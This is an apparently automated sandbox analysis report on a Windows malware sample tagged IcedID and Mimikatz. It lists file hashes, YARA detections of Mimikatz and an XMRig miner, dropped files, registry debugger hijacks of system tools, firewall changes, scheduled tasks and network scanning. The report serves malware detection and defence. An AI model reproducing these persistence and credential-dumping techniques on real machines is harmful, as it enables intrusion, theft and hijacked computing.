Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
09-04-2024 01:03
Behavioral task
behavioral1
Sample
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe
Resource
win7-20240215-en
General
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Target
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe
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Size
7.1MB
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MD5
0e24a400cfe166fa6486a8f67edbe02e
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SHA1
03416e3d6e593864e1a21afa6718cc07ed7e3f66
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SHA256
2140625a3cfc7511565ff7ab2778ba5e1d5a2988b344159b88b2f175cce1d273
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SHA512
52441c5a4198d7b324a6431d75cd7dacbb92a603ced0fdb1e7811e232ad90e7a0b9cf6dd2debec5c7a8074eff52a6acd25ce5e79103fabde29a64e5a432b0122
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SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
yrklftl.exedescription pid process target process PID 2640 created 1032 2640 yrklftl.exe spoolsv.exe -
Contacts a large (27769) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
Processes:
resource yara_rule behavioral1/memory/1664-135-0x000000013F820000-0x000000013F90E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/1664-136-0x000000013F820000-0x000000013F90E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 34 IoCs
Processes:
resource yara_rule behavioral1/memory/1512-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\gtgcurlb\yrklftl.exe UPX behavioral1/memory/548-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX \Windows\iibfpugis\Corporate\vfshost.exe UPX behavioral1/memory/1548-132-0x0000000000650000-0x000000000073E000-memory.dmp UPX behavioral1/memory/1664-135-0x000000013F820000-0x000000013F90E000-memory.dmp UPX behavioral1/memory/1664-136-0x000000013F820000-0x000000013F90E000-memory.dmp UPX \Windows\Temp\iibfpugis\vekeuubbl.exe UPX behavioral1/memory/1812-160-0x000000013FB50000-0x000000013FBAB000-memory.dmp UPX \Windows\Temp\lbiqgtsub\mitzpm.exe UPX behavioral1/memory/2640-165-0x0000000002E00000-0x0000000002F20000-memory.dmp UPX behavioral1/memory/2924-166-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/1812-167-0x000000013FB50000-0x000000013FBAB000-memory.dmp UPX behavioral1/memory/2436-179-0x000000013F990000-0x000000013F9EB000-memory.dmp UPX behavioral1/memory/2436-181-0x000000013F990000-0x000000013F9EB000-memory.dmp UPX behavioral1/memory/576-186-0x000000013F350000-0x000000013F3AB000-memory.dmp UPX behavioral1/memory/576-188-0x000000013F350000-0x000000013F3AB000-memory.dmp UPX behavioral1/memory/2536-193-0x000000013F340000-0x000000013F39B000-memory.dmp UPX behavioral1/memory/2536-195-0x000000013F340000-0x000000013F39B000-memory.dmp UPX behavioral1/memory/2924-201-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/1316-207-0x000000013F2E0000-0x000000013F33B000-memory.dmp UPX behavioral1/memory/1316-209-0x000000013F2E0000-0x000000013F33B000-memory.dmp UPX behavioral1/memory/2924-211-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-213-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-214-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2640-215-0x0000000001980000-0x00000000019DB000-memory.dmp UPX behavioral1/memory/2924-217-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-218-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-234-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-238-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-241-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-293-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-298-0x000000013F950000-0x000000013FA70000-memory.dmp UPX behavioral1/memory/2924-300-0x000000013F950000-0x000000013FA70000-memory.dmp UPX -
XMRig Miner payload 12 IoCs
Processes:
resource yara_rule behavioral1/memory/2924-201-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-211-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-213-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-214-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-217-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-218-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-234-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-238-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-241-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-293-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-298-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig behavioral1/memory/2924-300-0x000000013F950000-0x000000013FA70000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
Processes:
resource yara_rule behavioral1/memory/1512-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz \Windows\gtgcurlb\yrklftl.exe mimikatz behavioral1/memory/548-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1664-135-0x000000013F820000-0x000000013F90E000-memory.dmp mimikatz behavioral1/memory/1548-134-0x0000000000650000-0x000000000073E000-memory.dmp mimikatz behavioral1/memory/1664-136-0x000000013F820000-0x000000013F90E000-memory.dmp mimikatz behavioral1/memory/2640-203-0x0000000002E00000-0x0000000002F20000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
Processes:
yrklftl.exewpcap.exedescription ioc process File created C:\Windows\system32\drivers\etc\hosts yrklftl.exe File opened for modification C:\Windows\system32\drivers\etc\hosts yrklftl.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
Processes:
netsh.exenetsh.exepid process 2692 netsh.exe 3048 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
Processes:
yrklftl.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" yrklftl.exe -
Executes dropped EXE 16 IoCs
Processes:
yrklftl.exeyrklftl.exewpcap.exeitcusielr.exevfshost.exexohudmc.exerifzsk.exevekeuubbl.exemitzpm.exevekeuubbl.exevekeuubbl.exevekeuubbl.exeyrklftl.exevekeuubbl.exemqmqbrmul.exeyrklftl.exepid process 548 yrklftl.exe 2640 yrklftl.exe 2876 wpcap.exe 1492 itcusielr.exe 1664 vfshost.exe 592 xohudmc.exe 1016 rifzsk.exe 1812 vekeuubbl.exe 2924 mitzpm.exe 2436 vekeuubbl.exe 576 vekeuubbl.exe 2536 vekeuubbl.exe 2652 yrklftl.exe 1316 vekeuubbl.exe 1200 mqmqbrmul.exe 3940 yrklftl.exe -
Loads dropped DLL 22 IoCs
Processes:
cmd.execmd.exewpcap.execmd.exeitcusielr.execmd.exeyrklftl.execmd.exepid process 1780 cmd.exe 1780 cmd.exe 2724 cmd.exe 2876 wpcap.exe 2876 wpcap.exe 2876 wpcap.exe 2876 wpcap.exe 2876 wpcap.exe 712 cmd.exe 1492 itcusielr.exe 1492 itcusielr.exe 1548 cmd.exe 1548 cmd.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2640 yrklftl.exe 2692 cmd.exe -
Processes:
resource yara_rule \Windows\iibfpugis\Corporate\vfshost.exe upx behavioral1/memory/1664-135-0x000000013F820000-0x000000013F90E000-memory.dmp upx behavioral1/memory/1664-136-0x000000013F820000-0x000000013F90E000-memory.dmp upx \Windows\Temp\iibfpugis\vekeuubbl.exe upx behavioral1/memory/1812-160-0x000000013FB50000-0x000000013FBAB000-memory.dmp upx \Windows\Temp\lbiqgtsub\mitzpm.exe upx behavioral1/memory/2640-165-0x0000000002E00000-0x0000000002F20000-memory.dmp upx behavioral1/memory/2924-166-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/1812-167-0x000000013FB50000-0x000000013FBAB000-memory.dmp upx behavioral1/memory/2436-179-0x000000013F990000-0x000000013F9EB000-memory.dmp upx behavioral1/memory/2436-181-0x000000013F990000-0x000000013F9EB000-memory.dmp upx behavioral1/memory/576-186-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/576-188-0x000000013F350000-0x000000013F3AB000-memory.dmp upx behavioral1/memory/2536-193-0x000000013F340000-0x000000013F39B000-memory.dmp upx behavioral1/memory/2536-195-0x000000013F340000-0x000000013F39B000-memory.dmp upx behavioral1/memory/2924-201-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/1316-207-0x000000013F2E0000-0x000000013F33B000-memory.dmp upx behavioral1/memory/1316-209-0x000000013F2E0000-0x000000013F33B000-memory.dmp upx behavioral1/memory/2924-211-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-213-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-214-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2640-215-0x0000000001980000-0x00000000019DB000-memory.dmp upx behavioral1/memory/2924-217-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-218-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-234-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-238-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-241-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-293-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-298-0x000000013F950000-0x000000013FA70000-memory.dmp upx behavioral1/memory/2924-300-0x000000013F950000-0x000000013FA70000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 15 ifconfig.me 16 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
Processes:
wpcap.exeyrklftl.exexohudmc.exedescription ioc process File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A yrklftl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat yrklftl.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\rifzsk.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A yrklftl.exe -
Drops file in Program Files directory 3 IoCs
Processes:
wpcap.exedescription ioc process File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
Processes:
2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exeyrklftl.execmd.exemqmqbrmul.exedescription ioc process File created C:\Windows\gtgcurlb\yrklftl.exe 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\fewectaiq\itcusielr.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\exma-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trch-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\trfo-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Packet.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.exe yrklftl.exe File created C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\mqmqbrmul.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\cnli-1.dll yrklftl.exe File opened for modification C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\Shellcode.ini yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\coli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libxml2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\posh-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ucl.dll yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimidrv.sys yrklftl.exe File created C:\Windows\iibfpugis\Corporate\mimilib.dll yrklftl.exe File opened for modification C:\Windows\gtgcurlb\yrklftl.exe 2024-04-09_0e24a400cfe166fa6486a8f67edbe02e_hacktools_icedid_mimikatz.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tucl-1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\zlib1.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\svschost.xml yrklftl.exe File created C:\Windows\iibfpugis\upbdrjv\swrpwe.exe yrklftl.exe File opened for modification C:\Windows\iibfpugis\Corporate\log.txt cmd.exe File created C:\Windows\iibfpugis\UnattendGC\docmicfg.xml yrklftl.exe File created C:\Windows\gtgcurlb\spoolsrv.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\ip.txt yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\AppCapture64.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\crli-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\scan.bat yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\ssleay32.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\xdvl-0.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.exe yrklftl.exe File created C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\libeay32.dll yrklftl.exe File created C:\Windows\gtgcurlb\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\Corporate\vfshost.exe yrklftl.exe File created C:\Windows\ime\yrklftl.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\svschost.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\svschost.xml yrklftl.exe File opened for modification C:\Windows\iibfpugis\fewectaiq\Result.txt mqmqbrmul.exe File created C:\Windows\iibfpugis\UnattendGC\specials\tibe-2.dll yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\docmicfg.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\vimpcsvc.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\spoolsrv.xml yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\schoedcl.xml yrklftl.exe File created C:\Windows\iibfpugis\fewectaiq\wpcap.exe yrklftl.exe File created C:\Windows\iibfpugis\UnattendGC\specials\vimpcsvc.xml yrklftl.exe File created C:\Windows\gtgcurlb\vimpcsvc.xml yrklftl.exe File opened for modification C:\Windows\gtgcurlb\docmicfg.xml yrklftl.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 1700 sc.exe 2416 sc.exe 2352 sc.exe 684 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
Processes:
resource yara_rule \Windows\gtgcurlb\yrklftl.exe nsis_installer_2 \Windows\iibfpugis\fewectaiq\wpcap.exe nsis_installer_1 \Windows\iibfpugis\fewectaiq\wpcap.exe nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 1312 schtasks.exe 2784 schtasks.exe 2532 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
netsh.exevekeuubbl.exeyrklftl.exenetsh.exevekeuubbl.exenetsh.exenetsh.exenetsh.exenetsh.exevekeuubbl.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\76-34-3a-38-f7-ef\WpadDecisionTime = 703d12ed198ada01 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9DAEF1C3-CE53-4BC3-918B-B2B79E5ED177}\WpadDecisionReason = "1" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\76-34-3a-38-f7-ef\WpadDetectedUrl yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9DAEF1C3-CE53-4BC3-918B-B2B79E5ED177}\WpadDecisionTime = 703d12ed198ada01 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created 